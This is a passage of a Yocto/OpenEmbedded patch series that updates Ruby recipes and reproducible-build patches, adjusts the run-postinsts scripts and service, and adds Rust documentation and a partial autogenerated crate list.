+From 7f7facb85bd65adec24230fe8ca7f6a9863a1fd0 Mon Sep 17 00:00:00 2001
From: Christopher Larson <chris_larson@mentor.com>
Date: Thu, 5 May 2016 10:59:07 -0700
-Subject: [PATCH 2/3] Obey LDFLAGS for the link of libruby
+Subject: [PATCH] Obey LDFLAGS for the link of libruby
Signed-off-by: Christopher Larson <chris_larson@mentor.com>
Upstream-Status: Pending
@@ -10,18 +10,15 @@ Upstream-Status: Pending
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/template/Makefile.in b/template/Makefile.in
-index fa1e19ef37..bbd07fa34b 100644
+index 8c462f2..2200c8c 100644
--- a/template/Makefile.in
+++ b/template/Makefile.in
-@@ -109,7 +109,7 @@ MISSING = @LIBOBJS@ @ALLOCA@
- ENABLE_SHARED = @ENABLE_SHARED@
+@@ -115,7 +115,7 @@ ENABLE_SHARED = @ENABLE_SHARED@
LDSHARED = @LIBRUBY_LDSHARED@
DLDSHARED = @DLDSHARED@
+ XDLDFLAGS = @DLDFLAGS@
-DLDFLAGS = @LIBRUBY_DLDFLAGS@ $(XLDFLAGS) $(ARCH_FLAG)
+DLDFLAGS = @LIBRUBY_DLDFLAGS@ @LDFLAGS@ $(XLDFLAGS) $(ARCH_FLAG)
SOLIBS = @SOLIBS@
ENABLE_DEBUG_ENV = @ENABLE_DEBUG_ENV@
MAINLIBS = @MAINLIBS@
---
-2.23.0.rc1
-
diff --git a/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch b/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch
new file mode 100644
index 0000000000..e2d5b57c25
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch
@@ -0,0 +1,37 @@
+From 5079e678ce2a81416088c04f9123cd8207d5def2 Mon Sep 17 00:00:00 2001
+From: Christian Hofstaedtler <zeha@debian.org>
+Date: Tue, 10 Oct 2017 15:04:34 -0300
+Subject: [PATCH] rdoc: build reproducible documentation
+
+- provide a fixed timestamp to the gzip compression
+
+Upstream-Status: Backport [debian]
+
+Signed-off-by: Antonio Terceiro <terceiro@debian.org>
+Signed-off-by: Christian Hofstaedtler <zeha@debian.org>
+---
+ lib/rdoc/generator/json_index.rb | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/lib/rdoc/generator/json_index.rb b/lib/rdoc/generator/json_index.rb
+index c454910..24feab0 100644
+--- a/lib/rdoc/generator/json_index.rb
++++ b/lib/rdoc/generator/json_index.rb
+@@ -178,7 +178,7 @@ class RDoc::Generator::JsonIndex
+ debug_msg "Writing gzipped search index to %s" % outfile
+
+ Zlib::GzipWriter.open(outfile) do |gz|
+- gz.mtime = File.mtime(search_index_file)
++ gz.mtime = -1
+ gz.orig_name = search_index_file.basename.to_s
+ gz.write search_index
+ gz.close
+@@ -196,7 +196,7 @@ class RDoc::Generator::JsonIndex
+ debug_msg "Writing gzipped file to %s" % outfile
+
+ Zlib::GzipWriter.open(outfile) do |gz|
+- gz.mtime = File.mtime(dest)
++ gz.mtime = -1
+ gz.orig_name = dest.basename.to_s
+ gz.write data
+ gz.close
diff --git a/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch b/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch
new file mode 100644
index 0000000000..b14a731cfb
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch
@@ -0,0 +1,31 @@
+From 99734381652602f76075017576a819c427ebb5f2 Mon Sep 17 00:00:00 2001
+From: Reiner Herrmann <reiner@reiner-h.de>
+Date: Tue, 10 Oct 2017 15:06:13 -0300
+Subject: [PATCH] lib/mkmf.rb: sort list of object files in generated Makefile
+
+Without sorting the list explicitly, its order is indeterministic,
+because readdir() is also not deterministic.
+When the list of object files varies between builds, they are linked
+in a different order, which results in an unreproducible build.
+
+Upstream-Status: Backport [debian]
+
+Signed-off-by: Antonio Terceiro <terceiro@debian.org>
+Signed-off-by: Reiner Herrmann <reiner@reiner-h.de>
+---
+ lib/mkmf.rb | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/mkmf.rb b/lib/mkmf.rb
+index 6da7dde..3af30a9 100644
+--- a/lib/mkmf.rb
++++ b/lib/mkmf.rb
+@@ -2368,7 +2368,7 @@ LOCAL_LIBS = #{$LOCAL_LIBS}
+ LIBS = #{$LIBRUBYARG} #{$libs} #{$LIBS}
+ ORIG_SRCS = #{orig_srcs.collect(&File.method(:basename)).join(' ')}
+ SRCS = $(ORIG_SRCS) #{(srcs - orig_srcs).collect(&File.method(:basename)).join(' ')}
+-OBJS = #{$objs.join(" ")}
++OBJS = #{$objs.sort.join(" ")}
+ HDRS = #{hdrs.map{|h| '$(srcdir)/' + File.basename(h)}.join(' ')}
+ LOCAL_HDRS = #{$headers.join(' ')}
+ TARGET = #{target}
diff --git a/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch b/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch
new file mode 100644
index 0000000000..24268625a2
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch
@@ -0,0 +1,31 @@
+From 3bc324379aa3e322bad9353da8c0064cd671cc74 Mon Sep 17 00:00:00 2001
+From: Lucas Kanashiro <kanashiro@debian.org>
+Date: Fri, 1 Nov 2019 15:25:17 -0300
+Subject: [PATCH] Make gemspecs reproducible
+
+Without an explicit date, they will get the current date and make the
+build unreproducible
+
+Upstream-Status: Backport [debian]
+---
+ lib/rubygems/specification.rb | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/lib/rubygems/specification.rb b/lib/rubygems/specification.rb
+index a0c7faa..f0722d9 100644
+--- a/lib/rubygems/specification.rb
++++ b/lib/rubygems/specification.rb
+@@ -1774,7 +1774,9 @@ class Gem::Specification < Gem::BasicSpecification
+ raise(Gem::InvalidSpecificationException,
+ "invalid date format in specification: #{date.inspect}")
+ end
+- when Time, DateLike then
++ when Time then
++ Time.utc(date.utc.year, date.utc.month, date.utc.day)
++ when DateLike then
+ Time.utc(date.year, date.month, date.day)
+ else
+ TODAY
+--
+2.39.2
+
diff --git a/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch b/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch
new file mode 100644
index 0000000000..21604dfc34
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch
@@ -0,0 +1,77 @@
+From 1dc7ef09c3c567c4adb09ccfd97e0e59c58edb9f Mon Sep 17 00:00:00 2001
+From: Lucas Kanashiro <kanashiro@debian.org>
+Date: Fri, 1 Nov 2019 15:25:17 -0300
+Subject: [PATCH] Make gemspecs reproducible
+
+Without an explicit date, they will get the current date and make the
+build unreproducible
+
+Upstream-Status: Backport [debian]
+---
+ ext/bigdecimal/bigdecimal.gemspec | 1 +
+ ext/fiddle/fiddle.gemspec | 1 +
+ ext/io/console/io-console.gemspec | 1 +
+ lib/ipaddr.gemspec | 1 +
+ lib/rdoc/rdoc.gemspec | 1 +
+ 5 files changed, 5 insertions(+)
+
+diff --git a/ext/bigdecimal/bigdecimal.gemspec b/ext/bigdecimal/bigdecimal.gemspec
+index f9f3b45..b9a469d 100644
+--- a/ext/bigdecimal/bigdecimal.gemspec
++++ b/ext/bigdecimal/bigdecimal.gemspec
+@@ -14,6 +14,7 @@ Gem::Specification.new do |s|
+ s.name = name
+ s.version = source_version
+ s.authors = ["Kenta Murata", "Zachary Scott", "Shigeo Kobayashi"]
++ s.date = RUBY_RELEASE_DATE
+ s.email = ["mrkn@mrkn.jp"]
+
+ s.summary = "Arbitrary-precision decimal floating-point number library."
+diff --git a/ext/fiddle/fiddle.gemspec b/ext/fiddle/fiddle.gemspec
+index 8781093..efdca32 100644
+--- a/ext/fiddle/fiddle.gemspec
++++ b/ext/fiddle/fiddle.gemspec
+@@ -8,6 +8,7 @@ end
+ Gem::Specification.new do |spec|
+ spec.name = "fiddle"
+ spec.version = version_module::Fiddle::VERSION
++ spec.date = RUBY_RELEASE_DATE
+ spec.authors = ["Aaron Patterson", "SHIBATA Hiroshi"]
+ spec.email = ["aaron@tenderlovemaking.com", "hsbt@ruby-lang.org"]
+
+diff --git a/ext/io/console/io-console.gemspec b/ext/io/console/io-console.gemspec
+index d4f5276..8f89611 100644
+--- a/ext/io/console/io-console.gemspec
++++ b/ext/io/console/io-console.gemspec
+@@ -4,6 +4,7 @@ _VERSION = "0.7.1"
+ Gem::Specification.new do |s|
+ s.name = "io-console"
+ s.version = _VERSION
++ s.date = RUBY_RELEASE_DATE
+ s.summary = "Console interface"
+ s.email = "nobu@ruby-lang.org"
+ s.description = "add console capabilities to IO instances."
+diff --git a/lib/ipaddr.gemspec b/lib/ipaddr.gemspec
+index 1f4798e..48743cf 100644
+--- a/lib/ipaddr.gemspec
++++ b/lib/ipaddr.gemspec
+@@ -18,6 +18,7 @@ end
+ Gem::Specification.new do |spec|
+ spec.name = "ipaddr"
+ spec.version = version
++ spec.date = RUBY_RELEASE_DATE
+ spec.authors = ["Akinori MUSHA", "Hajimu UMEMOTO"]
+ spec.email = ["knu@idaemons.org", "ume@mahoroba.org"]
+
+diff --git a/lib/rdoc/rdoc.gemspec b/lib/rdoc/rdoc.gemspec
+index 93a281c..cc5c155 100644
+--- a/lib/rdoc/rdoc.gemspec
++++ b/lib/rdoc/rdoc.gemspec
+@@ -7,6 +7,7 @@ end
+
+ Gem::Specification.new do |s|
+ s.name = "rdoc"
++ s.date = RUBY_RELEASE_DATE
+ s.version = RDoc::VERSION
+
+ s.authors = [
diff --git a/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch b/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch
deleted file mode 100644
index a1e6330445..0000000000
--- a/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Filter out __has_include* compiler defines
-
-They are internal to compiler and this header is later on includes in C
-files, but newer gcc >= 10 complains about it.
-
-error in initial header file:
-| In file included from /tmp/20200124-86625-14hiju4.c:1:
-| /tmp/20200124-86625-11y6l6i.h:13849:9: error: "__has_include" cannot be used as a macro name
-| 13849 | #define __has_include __has_include
-| | ^~~~~~~~~~~~~
-| compilation terminated due to -Wfatal-errors.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- a/common.mk
-+++ b/common.mk
-@@ -221,6 +221,8 @@ $(TIMESTAMPDIR)/$(MJIT_HEADER:.h=)$(MJIT
- $(TIMESTAMPDIR)/$(arch)/.time
- $(ECHO) building $(@F:.time=.h)
- $(Q) $(CPP) -DMJIT_HEADER $(MJIT_HEADER_FLAGS) $(CFLAGS) $(XCFLAGS) $(CPPFLAGS) $(srcdir)/vm.c $(CPPOUTFLAG)$(@F:.time=.h).new
-+ $(Q)sed -i -e "/#define __has_include __has_include/d" $(@F:.time=.h).new
-+ $(Q)sed -i -e "/#define __has_include_next __has_include_next/d" $(@F:.time=.h).new
- $(Q) $(IFCHANGE) "--timestamp=$@" $(@F:.time=.h) $(@F:.time=.h).new
-
- $(MJIT_HEADER:.h=)$(MJIT_HEADER_SUFFIX).h: $(TIMESTAMPDIR)/$(MJIT_HEADER:.h=)$(MJIT_HEADER_SUFFIX).time
diff --git a/meta/recipes-devtools/ruby/ruby_2.7.1.bb b/meta/recipes-devtools/ruby/ruby_2.7.1.bb
deleted file mode 100644
index 3dd9fb0a62..0000000000
--- a/meta/recipes-devtools/ruby/ruby_2.7.1.bb
+++ /dev/null
@@ -1,92 +0,0 @@
-require ruby.inc
-
-DEPENDS_append_libc-musl = " libucontext"
-
-SRC_URI += " \
- file://remove_has_include_macros.patch \
- file://run-ptest \
- file://0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch \
- "
-
-SRC_URI[md5sum] = "debb9c325bf65021214451660f46e909"
-SRC_URI[sha256sum] = "d418483bdd0000576c1370571121a6eb24582116db0b7bb2005e90e250eae418"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG += "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-
-PACKAGECONFIG[valgrind] = "--with-valgrind=yes, --with-valgrind=no, valgrind"
-PACKAGECONFIG[gmp] = "--with-gmp=yes, --with-gmp=no, gmp"
-PACKAGECONFIG[ipv6] = "--enable-ipv6, --disable-ipv6,"
-
-EXTRA_OECONF = "\
- --disable-versioned-paths \
- --disable-rpath \
- --disable-dtrace \
- --enable-shared \
- --enable-load-relative \
- --with-pkg-config=pkg-config \
-"
-
-EXTRA_OECONF_append_libc-musl = "\
- LIBS='-lucontext' \
- ac_cv_func_isnan=yes \
- ac_cv_func_isinf=yes \
-"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
-
-do_install_append_class-target () {
- # Find out rbconfig.rb from .installed.list
- rbconfig_rb=`grep rbconfig.rb ${B}/.installed.list`
- # Remove build host directories
- sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' \
- -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${D}$rbconfig_rb
-}
-
-do_install_ptest () {
- cp -rf ${S}/test ${D}${PTEST_PATH}/
-
- install -D ${S}/tool/test/runner.rb ${D}${PTEST_PATH}/tool/test/runner.rb
- cp -r ${S}/tool/lib ${D}${PTEST_PATH}/tool/
- mkdir -p ${D}${PTEST_PATH}/lib
- cp -r ${S}/lib/did_you_mean ${S}/lib/rdoc ${D}${PTEST_PATH}/lib
-
- # install test-binaries
- find $(find ./.ext -path '*/-test-') -name '*.so' -print0 \
- | tar --no-recursion --null -T - --no-same-owner --preserve-permissions -cf - \
- | tar -C ${D}${libdir}/ruby/${SHRT_VER}.0/ --no-same-owner --preserve-permissions --strip-components=2 -xf -
- # adjust path to not assume build directory layout
- sed -e 's|File.expand_path(.*\.\./bin/erb[^)]*|File.expand_path("${bindir}/erb"|g' \
- -i ${D}${PTEST_PATH}/test/erb/test_erb_command.rb
-
- cp -r ${S}/include ${D}/${libdir}/ruby/
- test_case_rb=`grep rubygems/test_case.rb ${B}/.installed.list`
- sed -i -e 's:../../../test/:../../../ptest/test/:g' ${D}/$test_case_rb
-}
-
-PACKAGES =+ "${PN}-ri-docs ${PN}-rdoc"
-
-SUMMARY_${PN}-ri-docs = "ri (Ruby Interactive) documentation for the Ruby standard library"
-RDEPENDS_${PN}-ri-docs = "${PN}"
-FILES_${PN}-ri-docs += "${datadir}/ri"
-
-SUMMARY_${PN}-rdoc = "RDoc documentation generator from Ruby source"
-RDEPENDS_${PN}-rdoc = "${PN}"
-FILES_${PN}-rdoc += "${libdir}/ruby/*/rdoc ${bindir}/rdoc"
-
-FILES_${PN} += "${datadir}/rubygems"
-
-FILES_${PN}-ptest_append_class-target = "\
- ${libdir}/ruby/include \
- ${libdir}/ruby/${SHRT_VER}.0/*/-test- \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/ruby/ruby_3.3.0.bb b/meta/recipes-devtools/ruby/ruby_3.3.0.bb
new file mode 100644
index 0000000000..17eb6d73c2
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby_3.3.0.bb
@@ -0,0 +1,140 @@
+SUMMARY = "An interpreter of object-oriented scripting language"
+DESCRIPTION = "Ruby is an interpreted scripting language for quick \
+and easy object-oriented programming. It has many features to process \
+text files and to do system management tasks (as in Perl). \
+It is simple, straight-forward, and extensible. \
+"
+HOMEPAGE = "http://www.ruby-lang.org/"
+SECTION = "devel/ruby"
+LICENSE = "Ruby | BSD-2-Clause | BSD-3-Clause | GPL-2.0-only | ISC | MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5b8c87559868796979806100db3f3805 \
+ file://BSDL;md5=8b50bc6de8f586dc66790ba11d064d75 \
+ file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LEGAL;md5=81e6a4d81533b9263da4c3485a0ad883 \
+ "
+
+DEPENDS = "zlib openssl libyaml gdbm readline libffi"
+DEPENDS:append:class-target = " ruby-native"
+DEPENDS:append:class-nativesdk = " ruby-native"
+
+SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+SRC_URI = "http://cache.ruby-lang.org/pub/ruby/${SHRT_VER}/ruby-${PV}.tar.gz \
+ file://0001-extmk-fix-cross-compilation-of-external-gems.patch \
+ file://0002-Obey-LDFLAGS-for-the-link-of-libruby.patch \
+ file://run-ptest \
+ file://0003-rdoc-build-reproducible-documentation.patch \
+ file://0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch \
+ file://0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch \
+ file://0006-Make-gemspecs-reproducible.patch \
+ file://0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch \
+ "
+UPSTREAM_CHECK_URI = "https://www.ruby-lang.org/en/downloads/"
+
+inherit autotools ptest pkgconfig
+
+
+# This snippet lets compiled extensions which rely on external libraries,
+# such as zlib, compile properly. If we don't do this, then when extmk.rb
+# runs, it uses the native libraries instead of the target libraries, and so
+# none of the linking operations succeed -- which makes extconf.rb think
+# that the libraries aren't available and hence that the extension can't be
+# built.
+
+do_configure:prepend() {
+ sed -i "s#%%TARGET_CFLAGS%%#$CFLAGS#; s#%%TARGET_LDFLAGS%%#$LDFLAGS#" ${S}/common.mk
+ rm -rf ${S}/ruby/
+}
+
+DEPENDS:append:libc-musl = " libucontext"
+
+SRC_URI[sha256sum] = "96518814d9832bece92a85415a819d4893b307db5921ae1f0f751a9a89a56b7d"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG += "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+
+PACKAGECONFIG[valgrind] = "--with-valgrind=yes, --with-valgrind=no, valgrind"
+PACKAGECONFIG[gmp] = "--with-gmp=yes, --with-gmp=no, gmp"
+PACKAGECONFIG[ipv6] = "--enable-ipv6, --disable-ipv6,"
+# rdoc is off by default due to non-reproducibility reported in
+# https://bugs.ruby-lang.org/issues/18456
+PACKAGECONFIG[rdoc] = "--enable-install-rdoc,--disable-install-rdoc,"
+
+EXTRA_OECONF = "\
+ --disable-versioned-paths \
+ --disable-rpath \
+ --disable-dtrace \
+ --enable-shared \
+ --enable-load-relative \
+ --with-pkg-config=pkg-config \
+ --with-static-linked-ext \
+"
+
+EXTRA_OECONF:append:libc-musl = "\
+ ac_cv_func_isnan=yes \
+ ac_cv_func_isinf=yes \
+"
+
+PARALLEL_MAKEINST = ""
+
+do_install:append:class-target () {
+ # Find out rbconfig.rb from .installed.list
+ rbconfig_rb=`grep rbconfig.rb ${B}/.installed.list`
+ # Remove build host directories
+ sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' \
+ -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${D}$rbconfig_rb
+
+ sed -i -e 's|${DEBUG_PREFIX_MAP}||g' \
+ ${D}${libdir}/pkgconfig/*.pc
+
+ # logs that may contain host-specific paths
+ find ${D} -name gem_make.out -delete
+}
+
+do_install_ptest () {
+ cp -rf ${S}/test ${D}${PTEST_PATH}/
+
+ install -D ${S}/tool/test/runner.rb ${D}${PTEST_PATH}/tool/test/runner.rb
+ cp -r ${S}/tool/lib ${D}${PTEST_PATH}/tool/
+ mkdir -p ${D}${PTEST_PATH}/lib
+ cp -r ${S}/lib/did_you_mean ${S}/lib/rdoc ${D}${PTEST_PATH}/lib
+
+ # install test-binaries
+ # These .so files have sporadic reproducibility fails as seen here:
+ # https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20220107-rm1diuww/packages/diff-html/
+ # As they are needed only in ruby-ptest, and that is currently altogether disabled, let's take them out.
+ # If someone wants to look at where the non-determinism comes from, one possible reason is use of
+ # -rdynamic -Wl,-export-dynamic
+ #find $(find ./.ext -path '*/-test-') -name '*.so' -print0 \
+ # | tar --no-recursion --null -T - --no-same-owner --preserve-permissions -cf - \
+ # | tar -C ${D}${libdir}/ruby/${SHRT_VER}.0/ --no-same-owner --preserve-permissions --strip-components=2 -xf -
+ # adjust path to not assume build directory layout
+ sed -e 's|File.expand_path(.*\.\./bin/erb[^)]*|File.expand_path("${bindir}/erb"|g' \
+ -i ${D}${PTEST_PATH}/test/erb/test_erb_command.rb
+
+ cp -r ${S}/include ${D}/${libdir}/ruby/
+}
+
+PACKAGES =+ "${PN}-ri-docs ${PN}-rdoc"
+
+SUMMARY:${PN}-ri-docs = "ri (Ruby Interactive) documentation for the Ruby standard library"
+RDEPENDS:${PN}-ri-docs = "${PN}"
+FILES:${PN}-ri-docs += "${datadir}/ri"
+
+SUMMARY:${PN}-rdoc = "RDoc documentation generator from Ruby source"
+RDEPENDS:${PN}-rdoc = "${PN}"
+FILES:${PN}-rdoc += "${libdir}/ruby/*/rdoc ${bindir}/rdoc"
+
+FILES:${PN} += "${datadir}/rubygems"
+
+FILES:${PN}-ptest:append:class-target = "\
+ ${libdir}/ruby/include \
+ ${libdir}/ruby/${SHRT_VER}.0/*/-test- \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
index f84a7e18c8..1f3e692029 100755
--- a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
@@ -72,29 +72,34 @@ exec_postinst_scriptlets() {
else
echo "ERROR: postinst $i failed."
[ "$POSTINST_LOGGING" = "1" ] && eval echo "ERROR: postinst $i failed." $append_log
- remove_pi_dir=0
+ remove_rcsd_link=0
fi
done
}
-remove_pi_dir=1
+remove_rcsd_link=1
if $pm_installed; then
case $pm in
"ipk")
- eval opkg configure $append_log
+ if ! `fcntl-lock --wait 30 /run/opkg.lock true`; then
+ eval echo "Unable to obtain the opkg lock, deadlock?" $append_log
+ fi
+ if ! eval "opkg configure $append_log"; then
+ exit 1
+ fi
;;
"deb")
- eval dpkg --configure -a $append_log
+ if ! eval "eval dpkg --configure -a $append_log"; then
+ exit 1
+ fi
;;
esac
else
exec_postinst_scriptlets
fi
-# since all postinstalls executed successfully, remove the postinstalls directory
-# and the rcS.d link
-if [ $remove_pi_dir = 1 ]; then
- rm -rf $pi_dir
+# since all postinstalls executed successfully, remove the rcS.d link
+if [ $remove_rcsd_link = 1 ]; then
remove_rcsd_link
fi
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service
index 7f72f3388a..b6b81d5c1a 100644
--- a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service
@@ -1,7 +1,7 @@
[Unit]
Description=Run pending postinsts
DefaultDependencies=no
-After=systemd-remount-fs.service systemd-tmpfiles-setup.service tmp.mount
+After=systemd-remount-fs.service systemd-tmpfiles-setup.service tmp.mount ldconfig.service
Before=sysinit.target
[Service]
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb b/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
index 85b3fc867e..e977942de8 100644
--- a/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
@@ -1,6 +1,6 @@
SUMMARY = "Runs postinstall scripts on first boot of the target device"
+DESCRIPTION = "${SUMMARY}"
SECTION = "devel"
-PR = "r10"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -12,10 +12,12 @@ S = "${WORKDIR}"
inherit allarch systemd update-rc.d
+RDEPENDS:${PN} = "util-linux-fcntl-lock"
+
INITSCRIPT_NAME = "run-postinsts"
INITSCRIPT_PARAMS = "start 99 S ."
-SYSTEMD_SERVICE_${PN} = "run-postinsts.service"
+SYSTEMD_SERVICE:${PN} = "run-postinsts.service"
do_configure() {
:
@@ -32,13 +34,13 @@ do_install() {
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/run-postinsts.init ${D}${sysconfdir}/init.d/run-postinsts
- install -d ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/run-postinsts.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/run-postinsts.service ${D}${systemd_system_unitdir}/
sed -i -e 's:#SYSCONFDIR#:${sysconfdir}:g' \
-e 's:#SBINDIR#:${sbindir}:g' \
-e 's:#BASE_BINDIR#:${base_bindir}:g' \
-e 's:#LOCALSTATEDIR#:${localstatedir}:g' \
${D}${sbindir}/run-postinsts \
- ${D}${systemd_unitdir}/system/run-postinsts.service
+ ${D}${systemd_system_unitdir}/run-postinsts.service
}
diff --git a/meta/recipes-devtools/rust/README-rust.md b/meta/recipes-devtools/rust/README-rust.md
new file mode 100644
index 0000000000..209836ab65
--- /dev/null
+++ b/meta/recipes-devtools/rust/README-rust.md
@@ -0,0 +1,38 @@
+## Introduction
+
+This provides the Rust compiler, tools for building packages (cargo), and
+a few example projects.
+
+## Building a rust package
+
+When building a rust package in bitbake, it's usually easiest to build with
+cargo using cargo.bbclass. If the package already has a Cargo.toml file (most
+rust packages do), then it's especially easy. Otherwise you should probably
+get the code building in cargo first.
+
+Once your package builds in cargo, you can use
+[cargo-bitbake](https://github.com/cardoe/cargo-bitbake) to generate a bitbake
+recipe for it. This allows bitbake to fetch all the necessary dependent
+crates, as well as a pegged version of the crates.io index, to ensure maximum
+reproducibility. Once the Rust SDK support is added to oe-core, cargo-bitbake
+may also be added to the SDK.
+
+NOTE: You will have to edit the generated recipe based on the comments
+contained within it
+
+## Pitfalls
+
+ - TARGET_SYS _must_ be different from BUILD_SYS. This is due to the way Rust
+ configuration options are tracked for different targets. This is the reason
+ we use the Yocto triples instead of the native Rust triples. See rust-lang/cargo#3349.
+
+## Dependencies
+
+On the host:
+ - Any `-sys` packages your project might need must have RDEPENDs for
+ the native library.
+
+On the target:
+ - Any `-sys` packages your project might need must have RDEPENDs for
+ the native library.
+
diff --git a/meta/recipes-devtools/rust/cargo-c-crates.inc b/meta/recipes-devtools/rust/cargo-c-crates.inc
new file mode 100644
index 0000000000..f6da3e654e
--- /dev/null
+++ b/meta/recipes-devtools/rust/cargo-c-crates.inc
@@ -0,0 +1,654 @@
+# Autogenerated with 'bitbake -c update_crates cargo-c-native'
+
+# from Cargo.lock
+SRC_URI += " \
+ crate://crates.io/adler/1.0.2 \
+ crate://crates.io/ahash/0.8.7 \
+ crate://crates.io/aho-corasick/1.1.2 \
+ crate://crates.io/allocator-api2/0.2.16 \
+ crate://crates.io/anstream/0.6.11 \
+ crate://crates.io/anstyle/1.0.6 \
+ crate://crates.io/anstyle-parse/0.2.3 \
+ crate://crates.io/anstyle-query/1.0.2 \
+ crate://crates.io/anstyle-wincon/3.0.2 \
+ crate://crates.io/anyhow/1.0.79 \
+ crate://crates.io/arc-swap/1.6.0 \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/base16ct/0.2.0 \
+ crate://crates.io/base64/0.21.7 \
+ crate://crates.io/base64ct/1.6.0 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/bitflags/2.4.2 \
+ crate://crates.io/bitmaps/2.1.0 \
+ crate://crates.io/block-buffer/0.10.4 \
+ crate://crates.io/bstr/1.9.0 \
+ crate://crates.io/btoi/0.4.3 \
+ crate://crates.io/bumpalo/3.14.0 \
+ crate://crates.io/bytes/1.5.0 \
+ crate://crates.io/bytesize/1.3.0 \
+ crate://crates.io/cargo/0.77.0 \
+ crate://crates.io/cargo-credential/0.4.2 \
+ crate://crates.io/cargo-credential-libsecret/0.4.2 \
+ crate://crates.io/cargo-credential-macos-keychain/0.4.2 \
+ crate://crates.io/cargo-credential-wincred/0.4.2 \
+ crate://crates.io/cargo-platform/0.1.7 \
+ crate://crates.io/cargo-util/0.2.9 \
+ crate://crates.io/cbindgen/0.26.0 \
+ crate://crates.io/cc/1.0.83 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/clap/4.5.0 \
+ crate://crates.io/clap_builder/4.5.0 \
+ crate://crates.io/clap_derive/4.5.0 \
+ crate://crates.io/clap_lex/0.7.0 \
+ crate://crates.io/clru/0.6.1 \
+ crate://crates.io/color-print/0.3.5 \
+ crate://crates.io/color-print-proc-macro/0.3.5 \
+ crate://crates.io/colorchoice/1.0.0 \
+ crate://crates.io/const-oid/0.9.6 \
+ crate://crates.io/core-foundation/0.9.4 \
+ crate://crates.io/core-foundation-sys/0.8.6 \
